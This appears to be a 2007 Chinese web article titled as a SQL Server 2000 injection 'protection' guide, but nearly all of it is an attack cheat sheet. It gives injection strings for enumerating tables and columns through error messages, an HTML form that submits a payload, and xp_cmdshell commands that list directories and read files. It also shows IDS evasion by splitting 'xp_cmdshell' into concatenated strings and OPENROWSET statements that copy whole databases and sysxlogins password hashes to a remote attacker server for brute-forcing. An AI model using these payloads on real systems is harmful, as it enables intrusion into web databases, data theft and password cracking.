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SQL Server 2000 注入防護(hù)大全(二)

 更新時(shí)間:2007年02月09日 00:00:00   作者:  

SQL Server 2000 注入防護(hù)大全(二)

  傳統(tǒng)查詢構(gòu)造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個(gè)叫ffff的用戶哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--

  說明:
  上面的語句是得到數(shù)據(jù)庫中的第一個(gè)用戶表,并把表名放在ffff用戶的郵箱字段中。
  通過查看ffff的用戶資料可得第一個(gè)用表叫ad
  然后根據(jù)表名ad得到這個(gè)表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

  象下面這樣就可以得到第二個(gè)表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2)
where name='ffff';--

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

  擴(kuò)展存儲(chǔ)就可以通過一般的方法調(diào)用:
exec xp_webserver

  一旦這個(gè)擴(kuò)展存儲(chǔ)執(zhí)行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+
char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, 'admin''--', 'password', 0xffff)-

;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //為access數(shù)據(jù)庫

  通常注射的一些介紹:
  A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語句原貌大致如下:
  select * from 表名 where 字段=49
  注入的參數(shù)為ID=49 And [查詢條件],即是生成語句:
  select * from 表名 where 字段=49 And [查詢條件]

  (B) Class=連續(xù)劇 這類注入的參數(shù)是字符型,SQL語句原貌大致概如下:
  select * from 表名 where 字段='連續(xù)劇'
  注入的參數(shù)為Class=連續(xù)劇' and [查詢條件] and ''=' ,即是生成語句:
  select * from 表名 where 字段='連續(xù)劇' and [查詢條件] and ''=''

  (C) 搜索時(shí)沒過濾參數(shù)的,如keyword=關(guān)鍵字,SQL語句原貌大致如下:
  select * from 表名 where 字段like '%關(guān)鍵字%'
  注入的參數(shù)為keyword=' and [查詢條件] and '%25'=', 即是生成語句:
  select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
  sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype='U' and status>0,表示用戶建立的表名,上面的語句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。

  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
  從⑤拿到表名后,用object_id('表名')獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

  post.htm內(nèi)容:主要是方便輸入。


<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>

  枚舉出他的數(shù)據(jù)表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

  這是將第一個(gè)表名更新到aaa的字段處。

  讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

  然后id=1552 and exists(select * from aaa where aaa>5)

  讀出第二個(gè)表,^^^^^^一個(gè)個(gè)的讀出,直到?jīng)]有為止。

  讀字段是這樣:
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

  然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
  然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名

高級(jí)技巧:

  [獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件]
  select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

  通過SQLSERVER注入漏洞建數(shù)據(jù)庫管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是SYSADMIN組]

  [獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]
  update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]

  繞過IDS的檢測(cè)[使用變量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'

  1、 開啟遠(yuǎn)程數(shù)據(jù)庫
  基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

  參數(shù): (1) OLEDB Provider name

  2、 其中連接字符串參數(shù)可以是任何和端口用來連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

  要復(fù)制目標(biāo)主機(jī)的整個(gè)數(shù)據(jù)庫,首先要在目標(biāo)主機(jī)上和自己機(jī)器上的數(shù)據(jù)庫建立連接(如何在目標(biāo)主機(jī)上建立遠(yuǎn)程連接,剛才已經(jīng)講了),之后insert所有遠(yuǎn)程表到本地表。

  基本語法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2

  這行語句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程數(shù)據(jù)庫中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns

  之后,便可以從本地?cái)?shù)據(jù)庫中看到目標(biāo)主機(jī)的庫結(jié)構(gòu),這已經(jīng)易如反掌,不多講,復(fù)制數(shù)據(jù)庫:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2

......

  3、 復(fù)制哈西表(HASH)

  這實(shí)際上是上述復(fù)制數(shù)據(jù)庫的一個(gè)擴(kuò)展應(yīng)用。登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins

  得到hash之后,就可以進(jìn)行暴力破解。這需要一點(diǎn)運(yùn)氣和大量時(shí)間。

  遍歷目錄的方法:
  先創(chuàng)建一個(gè)臨時(shí)表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動(dòng)器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中

5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某個(gè)文件的內(nèi)容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree適用權(quán)限PUBLIC)
寫入表:
語句1:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
語句2:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
語句3:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
語句4:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
語句5:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
語句6:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
語句7:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
語句8:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
語句9:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
把路徑寫到表中去:
_blank>http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\'-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
語句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
語句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
語句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-

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